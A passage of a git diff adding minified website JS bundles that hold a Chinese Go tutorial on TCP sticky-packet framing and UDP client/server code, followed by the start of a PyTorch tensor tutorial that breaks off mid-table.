\u5c06\u6d88\u606f\u7f16\u7801\nfunc Encode(message string) ([]byte, error) {\n\t// \u8bfb\u53d6\u6d88\u606f\u7684\u957f\u5ea6\uff0c\u8f6c\u6362\u6210int32\u7c7b\u578b\uff08\u53604\u4e2a\u5b57\u8282\uff09\n\tvar length = int32(len(message))\n\tvar pkg = new(bytes.Buffer)\n\t// \u5199\u5165\u6d88\u606f\u5934\n\terr := binary.Write(pkg, binary.LittleEndian, length)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// \u5199\u5165\u6d88\u606f\u5b9e\u4f53\n\terr = binary.Write(pkg, binary.LittleEndian, []byte(message))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn pkg.Bytes(), nil\n}\n\n// Decode \u89e3\u7801\u6d88\u606f\nfunc Decode(reader *bufio.Reader) (string, error) {\n\t// \u8bfb\u53d6\u6d88\u606f\u7684\u957f\u5ea6\n\tlengthByte, _ := reader.Peek(4) // \u8bfb\u53d6\u524d4\u4e2a\u5b57\u8282\u7684\u6570\u636e\n\tlengthBuff := bytes.NewBuffer(lengthByte)\n\tvar length int32\n\terr := binary.Read(lengthBuff, binary.LittleEndian, &length)\n\tif err != nil {\n\t\treturn "", err\n\t}\n\t// Buffered\u8fd4\u56de\u7f13\u51b2\u4e2d\u73b0\u6709\u7684\u53ef\u8bfb\u53d6\u7684\u5b57\u8282\u6570\u3002\n\tif int32(reader.Buffered()) < length+4 {\n\t\treturn "", err\n\t}\n\n\t// \u8bfb\u53d6\u771f\u6b63\u7684\u6d88\u606f\u6570\u636e\n\tpack := make([]byte, int(4+length))\n\t_, err = reader.Read(pack)\n\tif err != nil {\n\t\treturn "", err\n\t}\n\treturn string(pack[4:]), nil\n}\n'})}),"\n",(0,l.jsxs)(e.p,{children:["\u63a5\u4e0b\u6765\u5728\u670d\u52a1\u7aef\u548c\u5ba2\u6237\u7aef\u5206\u522b\u4f7f\u7528\u4e0a\u9762\u5b9a\u4e49\u7684",(0,l.jsx)(e.code,{children:"proto"}),"\u5305\u7684",(0,l.jsx)(e.code,{children:"Decode"}),"\u548c",(0,l.jsx)(e.code,{children:"Encode"}),"\u51fd\u6570\u5904\u7406\u6570\u636e\u3002"]}),"\n",(0,l.jsx)(e.p,{children:"\u670d\u52a1\u7aef\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// socket_stick/server2/main.go\n\nfunc process(conn net.Conn) {\n\tdefer conn.Close()\n\treader := bufio.NewReader(conn)\n\tfor {\n\t\tmsg, err := proto.Decode(reader)\n\t\tif err == io.EOF {\n\t\t\treturn\n\t\t}\n\t\tif err != nil {\n\t\t\tfmt.Println("decode msg failed, err:", err)\n\t\t\treturn\n\t\t}\n\t\tfmt.Println("\u6536\u5230client\u53d1\u6765\u7684\u6570\u636e\uff1a", msg)\n\t}\n}\n\nfunc main() {\n\n\tlisten, err := net.Listen("tcp", "127.0.0.1:30000")\n\tif err != nil {\n\t\tfmt.Println("listen failed, err:", err)\n\t\treturn\n\t}\n\tdefer listen.Close()\n\tfor {\n\t\tconn, err := listen.Accept()\n\t\tif err != nil {\n\t\t\tfmt.Println("accept failed, err:", err)\n\t\t\tcontinue\n\t\t}\n\t\tgo process(conn)\n\t}\n}\n'})}),"\n",(0,l.jsx)(e.p,{children:"\u5ba2\u6237\u7aef\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// socket_stick/client2/main.go\n\nfunc main() {\n\tconn, err := net.Dial("tcp", "127.0.0.1:30000")\n\tif err != nil {\n\t\tfmt.Println("dial failed, err", err)\n\t\treturn\n\t}\n\tdefer conn.Close()\n\tfor i := 0; i < 20; i++ {\n\t\tmsg := `Hello, Hello. How are you?`\n\t\tdata, err := proto.Encode(msg)\n\t\tif err != nil {\n\t\t\tfmt.Println("encode msg failed, err:", err)\n\t\t\treturn\n\t\t}\n\t\tconn.Write(data)\n\t}\n}\n'})}),"\n",(0,l.jsx)(e.h3,{id:"go\u8bed\u8a00\u5b9e\u73b0udp\u901a\u4fe1",children:"Go\u8bed\u8a00\u5b9e\u73b0UDP\u901a\u4fe1"}),"\n",(0,l.jsx)(e.h4,{id:"udp\u534f\u8bae",children:"UDP\u534f\u8bae"}),"\n",(0,l.jsxs)(e.p,{children:["UDP\u534f\u8bae\uff08User Datagram Protocol\uff09\u4e2d\u6587\u540d\u79f0\u662f\u7528\u6237\u6570\u636e\u62a5\u534f\u8bae\uff0c\u662fOSI\uff08Open System Interconnection\uff0c\u5f00\u653e\u5f0f\u7cfb\u7edf\u4e92\u8054\uff09\u53c2\u8003\u6a21\u578b\u4e2d\u4e00\u79cd",(0,l.jsx)(e.strong,{children:"\u65e0\u8fde\u63a5"}),"\u7684\u4f20\u8f93\u5c42\u534f\u8bae\uff0c\u4e0d\u9700\u8981\u5efa\u7acb\u8fde\u63a5\u5c31\u80fd\u76f4\u63a5\u8fdb\u884c\u6570\u636e\u53d1\u9001\u548c\u63a5\u6536\uff0c\u5c5e\u4e8e\u4e0d\u53ef\u9760\u7684\u3001\u6ca1\u6709\u65f6\u5e8f\u7684\u901a\u4fe1\uff0c\u4f46\u662fUDP\u534f\u8bae\u7684\u5b9e\u65f6\u6027\u6bd4\u8f83\u597d\uff0c\u901a\u5e38\u7528\u4e8e\u89c6\u9891\u76f4\u64ad\u76f8\u5173\u9886\u57df\u3002"]}),"\n",(0,l.jsx)(e.h4,{id:"udp\u670d\u52a1\u7aef",children:"UDP\u670d\u52a1\u7aef"}),"\n",(0,l.jsxs)(e.p,{children:["\u4f7f\u7528Go\u8bed\u8a00\u7684",(0,l.jsx)(e.code,{children:"net"}),"\u5305\u5b9e\u73b0\u7684UDP\u670d\u52a1\u7aef\u4ee3\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// UDP/server/main.go\n\n// UDP server\u7aef\nfunc main() {\n\tlisten, err := net.ListenUDP("udp", &net.UDPAddr{\n\t\tIP: net.IPv4(0, 0, 0, 0),\n\t\tPort: 30000,\n\t})\n\tif err != nil {\n\t\tfmt.Println("listen failed, err:", err)\n\t\treturn\n\t}\n\tdefer listen.Close()\n\tfor {\n\t\tvar data [1024]byte\n\t\tn, addr, err := listen.ReadFromUDP(data[:]) // \u63a5\u6536\u6570\u636e\n\t\tif err != nil {\n\t\t\tfmt.Println("read udp failed, err:", err)\n\t\t\tcontinue\n\t\t}\n\t\tfmt.Printf("data:%v addr:%v count:%v\\n", string(data[:n]), addr, n)\n\t\t_, err = listen.WriteToUDP(data[:n], addr) // \u53d1\u9001\u6570\u636e\n\t\tif err != nil {\n\t\t\tfmt.Println("write to udp failed, err:", err)\n\t\t\tcontinue\n\t\t}\n\t}\n}\n'})}),"\n",(0,l.jsx)(e.h4,{id:"udp\u5ba2\u6237\u7aef",children:"UDP\u5ba2\u6237\u7aef"}),"\n",(0,l.jsxs)(e.p,{children:["\u4f7f\u7528Go\u8bed\u8a00\u7684",(0,l.jsx)(e.code,{children:"net"}),"\u5305\u5b9e\u73b0\u7684UDP\u5ba2\u6237\u7aef\u4ee3\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// UDP \u5ba2\u6237\u7aef\nfunc main() {\n\tsocket, err := net.DialUDP("udp", nil, &net.UDPAddr{\n\t\tIP: net.IPv4(0, 0, 0, 0),\n\t\tPort: 30000,\n\t})\n\tif err != nil {\n\t\tfmt.Println("\u8fde\u63a5\u670d\u52a1\u7aef\u5931\u8d25\uff0cerr:", err)\n\t\treturn\n\t}\n\tdefer socket.Close()\n\tsendData := []byte("Hello server")\n\t_, err = socket.Write(sendData) // \u53d1\u9001\u6570\u636e\n\tif err != nil {\n\t\tfmt.Println("\u53d1\u9001\u6570\u636e\u5931\u8d25\uff0cerr:", err)\n\t\treturn\n\t}\n\tdata := make([]byte, 4096)\n\tn, remoteAddr, err := socket.ReadFromUDP(data) // \u63a5\u6536\u6570\u636e\n\tif err != nil {\n\t\tfmt.Println("\u63a5\u6536\u6570\u636e\u5931\u8d25\uff0cerr:", err)\n\t\treturn\n\t}\n\tfmt.Printf("recv:%v addr:%v count:%v\\n", string(data[:n]), remoteAddr, n)\n}\n'})})]})}function h(n={}){const{wrapper:e}={...(0,i.R)(),...n.components};return e?(0,l.jsx)(e,{...n,children:(0,l.jsx)(a,{...n})}):a(n)}},28453:(n,e,t)=>{t.d(e,{R:()=>o,x:()=>c});var r=t(96540);const l={},i=r.createContext(l);function o(n){const e=r.useContext(i);return r.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function c(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(l):n.components||l:o(n.components),r.createElement(i.Provider,{value:e},n.children)}},41884:(n,e,t)=>{t.d(e,{A:()=>r});const r=t.p+"assets/images/socket-a1cba0624ced26704d6ba8ebdda68f06.png"},55069:(n,e,t)=>{t.d(e,{A:()=>r});const r=t.p+"assets/images/httptcpip-420226ff0d45f1a141f205c7efc4a18f.png"},59164:(n,e,t)=>{t.d(e,{A:()=>r});const r=t.p+"assets/images/osi-e82a7781ad767efc826edc5fad474152.png"}}]); \ No newline at end of file diff --git a/assets/js/56add96f.27871221.js b/assets/js/56add96f.27871221.js new file mode 100644 index 0000000..0bf9eeb --- /dev/null +++ b/assets/js/56add96f.27871221.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8676],{28453:(n,e,r)=>{r.d(e,{R:()=>c,x:()=>d});var s=r(96540);const t={},l=s.createContext(t);function c(n){const e=s.useContext(l);return s.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function d(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(t):n.components||t:c(n.components),s.createElement(l.Provider,{value:e},n.children)}},81213:(n,e,r)=>{r.r(e),r.d(e,{assets:()=>i,contentTitle:()=>d,default:()=>x,frontMatter:()=>c,metadata:()=>s,toc:()=>h});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.1 \u5f20\u91cf","title":"2.1 \u5f20\u91cf.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/02.\u7b2c\u4e8c\u7ae0/2.1 \u5f20\u91cf.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/02.\u7b2c\u4e8c\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.1 \u5f20\u91cf","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.1 \u5f20\u91cf","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/02.\u7b2c\u4e8c\u7ae0/2.1 \u5f20\u91cf.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u7b2c\u4e8c\u7ae0","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/"},"next":{"title":"2.2 \u81ea\u52a8\u6c42\u5bfc.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.2 \u81ea\u52a8\u6c42\u5bfc"}}');var t=r(74848),l=r(28453);const c={},d="2.1 \u5f20\u91cf.md",i={},h=[{value:"2.1.1 \u7b80\u4ecb",id:"211-\u7b80\u4ecb",level:2},{value:"2.1.2 \u521b\u5efatensor",id:"212-\u521b\u5efatensor",level:2},{value:"2.1.3 \u5f20\u91cf\u7684\u64cd\u4f5c",id:"213-\u5f20\u91cf\u7684\u64cd\u4f5c",level:2},{value:"2.1.4 \u5e7f\u64ad\u673a\u5236",id:"214-\u5e7f\u64ad\u673a\u5236",level:2}];function o(n){const e={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...n.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.header,{children:(0,t.jsx)(e.h1,{id:"21-\u5f20\u91cfmd",children:"2.1 \u5f20\u91cf.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"left"},children:(0,t.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:13"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"left"},children:(0,t.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,t.jsx)(e.h1,{id:"21-\u5f20\u91cf",children:"2.1 \u5f20\u91cf"}),"\n",(0,t.jsxs)(e.p,{children:["\u4ece\u672c\u7ae0\u5f00\u59cb\uff0c\u6211\u4eec\u5c06\u5f00\u59cb\u4ecb\u7ecdPyTorch\u57fa\u7840\u77e5\u8bc6\uff0c\u672c\u7ae0\u6211\u4eec\u5c06\u4ecb\u7ecd\u5f20\u91cf\uff0c\u4ee5\u5e2e\u52a9\u5927\u5bb6\u5efa\u7acb\u8d77\u5bf9\u6570\u636e\u7684\u63cf\u8ff0\uff0c\u968f\u540e\u6211\u4eec\u518d\u4ecb\u7ecd\u5f20\u91cf\u7684\u8fd0\u7b97\uff0c\u6700\u540e\u518d\u8bb2PyTorch\u4e2d\u6240\u6709\u795e\u7ecf\u7f51\u7edc\u7684\u6838\u5fc3\u5305 ",(0,t.jsx)(e.code,{children:"autograd "}),"\uff0c\u4e5f\u5c31\u662f\u81ea\u52a8\u5fae\u5206\uff0c\u4e86\u89e3\u5b8c\u8fd9\u4e9b\u5185\u5bb9\u6211\u4eec\u5c31\u53ef\u4ee5\u8f83\u597d\u5730\u7406\u89e3PyTorch\u4ee3\u7801\u4e86\u3002\u5728\u6df1\u5ea6\u5b66\u4e60\u4e2d\uff0c\u6211\u4eec\u901a\u5e38\u5c06\u6570\u636e\u4ee5\u5f20\u91cf\u7684\u5f62\u5f0f\u8fdb\u884c\u8868\u793a\uff0c\u6bd4\u5982\u6211\u4eec\u7528\u4e09\u7ef4\u5f20\u91cf\u8868\u793a\u4e00\u4e2aRGB\u56fe\u50cf\uff0c\u56db\u7ef4\u5f20\u91cf\u8868\u793a\u89c6\u9891\u3002"]}),"\n",(0,t.jsx)(e.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsx)(e.li,{children:"\u5f20\u91cf\u7684\u7b80\u4ecb"}),"\n",(0,t.jsx)(e.li,{children:"PyTorch\u5982\u4f55\u521b\u5efa\u5f20\u91cf"}),"\n",(0,t.jsx)(e.li,{children:"PyTorch\u4e2d\u5f20\u91cf\u7684\u64cd\u4f5c"}),"\n",(0,t.jsx)(e.li,{children:"PyTorch\u4e2d\u5f20\u91cf\u7684\u5e7f\u64ad\u673a\u5236"}),"\n"]}),"\n",(0,t.jsx)(e.h2,{id:"211-\u7b80\u4ecb",children:"2.1.1 \u7b80\u4ecb"}),"\n",(0,t.jsx)(e.p,{children:"\u51e0\u4f55\u4ee3\u6570\u4e2d\u5b9a\u4e49\u7684\u5f20\u91cf\u662f\u57fa\u4e8e\u5411\u91cf\u548c\u77e9\u9635\u7684\u63a8\u5e7f\uff0c\u6bd4\u5982\u6211\u4eec\u53ef\u4ee5\u5c06\u6807\u91cf\u89c6\u4e3a\u96f6\u9636\u5f20\u91cf\uff0c\u77e2\u91cf\u53ef\u4ee5\u89c6\u4e3a\u4e00\u9636\u5f20\u91cf\uff0c\u77e9\u9635\u5c31\u662f\u4e8c\u9636\u5f20\u91cf\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{children:"\u5f20\u91cf\u7ef4\u5ea6"}),(0,t.jsx)(e.th,{children:"\u4ee3\u8868\u542b\u4e49"})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"0\u7ef4\u5f20\u91cf"}),(0,t.jsx)(e.td,{children:"\u4ee3\u8868\u7684\u662f\u6807\u91cf\uff08\u6570\u5b57\uff09"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"1\u7ef4\u5f20\u91cf"}),(0,t.jsx)(e.td,{children:"\u4ee3\u8868\u7684\u662f\u5411\u91cf"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"2\u7ef4\u5f20\u91cf"}),(0,t.jsx)(e.td,{children:"\u4ee3\u8868\u7684\u662f\u77e9\u9635"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"3\u7ef4\u5f20\u91cf"}),(0,t.jsxs)(e.td,{children:["\u65f6\u95f4\u5e8f\u5217\u6570\u636e \u80a1\u4ef7 \u6587\u672c\u6570\u636e \u5355\u5f20\u5f69\u8272\u56fe\u7247(",(0,t.jsx)(e.strong,{children:"RGB"}),")"]})]})]})]}),"\n",(0,t.jsx)(e.p,{children:"\u5f20\u91cf\u662f\u73b0\u4ee3\u673a\u5668\u5b66\u4e60\u7684\u57fa\u7840\u3002\u5b83\u7684\u6838\u5fc3\u662f\u4e00\u4e2a\u6570\u636e\u5bb9\u5668\uff0c\u591a\u6570\u60c5\u51b5\u4e0b\uff0c\u5b83\u5305\u542b\u6570\u5b57\uff0c\u6709\u65f6\u5019\u5b83\u4e5f\u5305\u542b\u5b57\u7b26\u4e32\uff0c\u4f46\u8fd9\u79cd\u60c5\u51b5\u6bd4\u8f83\u5c11\u3002\u56e0\u6b64\u53ef\u4ee5\u628a\u5b83\u60f3\u8c61\u6210\u4e00\u4e2a\u6570\u5b57\u7684\u6c34\u6876\u3002"}),"\n",(0,t.jsx)(e.p,{children:"\u8fd9\u91cc\u6709\u4e00\u4e9b\u5b58\u50a8\u5728\u5404\u79cd\u7c7b\u578b\u5f20\u91cf\u7684\u516c\u7528\u6570\u636e\u96c6\u7c7b\u578b\uff1a"}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:"3\u7ef4 = \u65f6\u95f4\u5e8f\u5217"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:"4\u7ef4 = \u56fe\u50cf"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:"5\u7ef4 = \u89c6\u9891"})}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:"\u4f8b\u5b50\uff1a\u4e00\u4e2a\u56fe\u50cf\u53ef\u4ee5\u7528\u4e09\u4e2a\u5b57\u6bb5\u8868\u793a\uff1a"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"(width, height, channel) = 3D\n"})}),"\n",(0,t.jsx)(e.p,{children:"\u4f46\u662f\uff0c\u5728\u673a\u5668\u5b66\u4e60\u5de5\u4f5c\u4e2d\uff0c\u6211\u4eec\u7ecf\u5e38\u8981\u5904\u7406\u4e0d\u6b62\u4e00\u5f20\u56fe\u7247\u6216\u4e00\u7bc7\u6587\u6863\u2014\u2014\u6211\u4eec\u8981\u5904\u7406\u4e00\u4e2a\u96c6\u5408\u3002\u6211\u4eec\u53ef\u80fd\u670910,000\u5f20\u90c1\u91d1\u9999\u7684\u56fe\u7247\uff0c\u8fd9\u610f\u5473\u7740\uff0c\u6211\u4eec\u5c06\u7528\u52304D\u5f20\u91cf\uff1a"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"(batch_size, width, height, channel) = 4D\n"})}),"\n",(0,t.jsxs)(e.p,{children:["\u5728PyTorch\u4e2d\uff0c ",(0,t.jsx)(e.code,{children:"torch.Tensor"})," \u662f\u5b58\u50a8\u548c\u53d8\u6362\u6570\u636e\u7684\u4e3b\u8981\u5de5\u5177\u3002\u5982\u679c\u4f60\u4e4b\u524d\u7528\u8fc7",(0,t.jsx)(e.code,{children:"NumPy"}),"\uff0c\u4f60\u4f1a\u53d1\u73b0 ",(0,t.jsx)(e.code,{children:"Tensor"})," \u548cNumPy\u7684\u591a\u7ef4\u6570\u7ec4\u975e\u5e38\u7c7b\u4f3c\u3002\u7136\u800c\uff0c",(0,t.jsx)(e.code,{children:"Tensor"})," \u63d0\u4f9bGPU\u8ba1\u7b97\u548c\u81ea\u52a8\u6c42\u68af\u5ea6\u7b49\uf901\u591a\u529f\u80fd\uff0c\u8fd9\u4e9b\u4f7f ",(0,t.jsx)(e.code,{children:"Tensor"})," \u8fd9\u4e00\u6570\u636e\u7c7b\u578b\u66f4\u52a0\u9002\u5408\u6df1\u5ea6\u5b66\u4e60\u3002"]}),"\n",(0,t.jsx)(e.h2,{id:"212-\u521b\u5efatensor",children:"2.1.2 \u521b\u5efatensor"}),"\n",(0,t.jsxs)(e.p,{children:["\u5728\u63a5\u4e0b\u6765\u7684\u5185\u5bb9\u4e2d\uff0c\u6211\u4eec\u5c06\u4ecb\u7ecd\u51e0\u79cd\u5e38\u89c1\u7684\u521b\u5efa",(0,t.jsx)(e.code,{children:"tensor"}),"\u7684\u65b9\u6cd5\u3002"]}),"\n",(0,t.jsxs)(e.ol,{children:["\n",(0,t.jsxs)(e.li,{children:["\u968f\u673a\u521d\u59cb\u5316\u77e9\u9635\n\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7",(0,t.jsx)(e.code,{children:"torch.rand()"}),"\u7684\u65b9\u6cd5\uff0c\u6784\u9020\u4e00\u4e2a\u968f\u673a\u521d\u59cb\u5316\u7684\u77e9\u9635\uff1a"]}),"\n"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"\nimport torch\nx = torch.rand(4, 3) \nprint(x)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"tensor([[0.7569, 0.4281, 0.4722],\n [0.9513, 0.5168, 0.1659],\n [0.4493, 0.2846, 0.4363],\n [0.5043, 0.9637, 0.1469]])\n"})}),"\n",(0,t.jsxs)(e.ol,{start:"2",children:["\n",(0,t.jsxs)(e.li,{children:["\u51680\u77e9\u9635\u7684\u6784\u5efa\n\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7",(0,t.jsx)(e.code,{children:"torch.zeros()"}),"\u6784\u9020\u4e00\u4e2a\u77e9\u9635\u5168\u4e3a 0\uff0c\u5e76\u4e14\u901a\u8fc7",(0,t.jsx)(e.code,{children:"dtype"}),"\u8bbe\u7f6e\u6570\u636e\u7c7b\u578b\u4e3a long\u3002\u9664\u6b64\u4ee5\u5916\uff0c\u6211\u4eec\u8fd8\u53ef\u4ee5\u901a\u8fc7torch.zero_()\u548ctorch.zeros_like()\u5c06\u73b0\u6709\u77e9\u9635\u8f6c\u6362\u4e3a\u51680\u77e9\u9635."]}),"\n"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"import torch\nx = torch.zeros(4, 3, dtype=torch.long)\nprint(x)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"tensor([[0, 0, 0],\n [0, 0, 0],\n [0, 0, 0],\n [0, 0, 0]])\n"})}),"\n",(0,t.jsxs)(e.ol,{start:"3",children:["\n",(0,t.jsxs)(e.li,{children:["\u5f20\u91cf\u7684\u6784\u5efa\n\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7",(0,t.jsx)(e.code,{children:"torch.tensor()"}),"\u76f4\u63a5\u4f7f\u7528\u6570\u636e\uff0c\u6784\u9020\u4e00\u4e2a\u5f20\u91cf\uff1a"]}),"\n"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"import torch\nx = torch.tensor([5.5, 3]) \nprint(x)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"tensor([5.5000, 3.0000])\n"})}),"\n",(0,t.jsxs)(e.ol,{start:"4",children:["\n",(0,t.jsx)(e.li,{children:"\u57fa\u4e8e\u5df2\u7ecf\u5b58\u5728\u7684 tensor\uff0c\u521b\u5efa\u4e00\u4e2a tensor \uff1a"}),"\n"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"x = x.new_ones(4, 3, dtype=torch.double) \n# \u521b\u5efa\u4e00\u4e2a\u65b0\u7684\u51681\u77e9\u9635tensor\uff0c\u8fd4\u56de\u7684tensor\u9ed8\u8ba4\u5177\u6709\u76f8\u540c\u7684torch.dtype\u548ctorch.device\n# \u4e5f\u53ef\u4ee5\u50cf\u4e4b\u524d\u7684\u5199\u6cd5 x = torch.ones(4, 3, dtype=torch.double)\nprint(x)\nx = torch.randn_like(x, dtype=torch.float)\n# \u91cd\u7f6e\u6570\u636e\u7c7b\u578b\nprint(x)\n# \u7ed3\u679c\u4f1a\u6709\u4e00\u6837\u7684size\n# \u83b7\u53d6\u5b83\u7684\u7ef4\u5ea6\u4fe1\u606f\nprint(x.size())\nprint(x.shape)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"tensor([[1., 1., 1.],\n [1., 1., 1.],\n [1., 1., 1.],\n [1., 1., 1.]], dtype=torch.float64)\ntensor([[ 2.7311, -0.0720, 0.2497],\n [-2.3141, 0.0666, -0.5934],\n [ 1.5253, 1.0336, 1.3859],\n [ 1.3806, -0.6965, -1.2255]])\ntorch.Size([4, 3])\ntorch.Size([4, 3])\n"})}),"\n",(0,t.jsx)(e.p,{children:"\u8fd4\u56de\u7684torch.Size\u5176\u5b9e\u662f\u4e00\u4e2atuple\uff0c\u2f40\u6301\u6240\u6709tuple\u7684\u64cd\u4f5c\u3002\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u7d22\u5f15\u64cd\u4f5c\u53d6\u5f97\u5f20\u91cf\u7684\u957f\u3001\u5bbd\u7b49\u6570\u636e\u7ef4\u5ea6\u3002"}),"\n",(0,t.jsxs)(e.ol,{start:"5",children:["\n",(0,t.jsx)(e.li,{children:"\u5e38\u89c1\u7684\u6784\u9020Tensor\u7684\u65b9\u6cd5\uff1a"}),"\n"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"right"},children:"\u51fd\u6570"}),(0,t.jsx)(e.th,{children:"\u529f\u80fd"})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"right"},children:"Tensor(sizes)"}),(0,t.jsx)(e.td,{children:"\u57fa\u7840\u6784\u9020\u51fd\u6570"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"right"},children:"tensor(data)"}),(0,t.jsx)(e.td,{children:"\u7c7b\u4f3c\u4e8enp.array"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"right"},children:"ones(sizes)"}),(0,t.jsx)(e.td,{children:"\u51681"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"right"},children:"zeros(sizes)"}),(0,t.jsx)(e.td,{children:"\u51680"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"right"},children:"eye(sizes)"}),(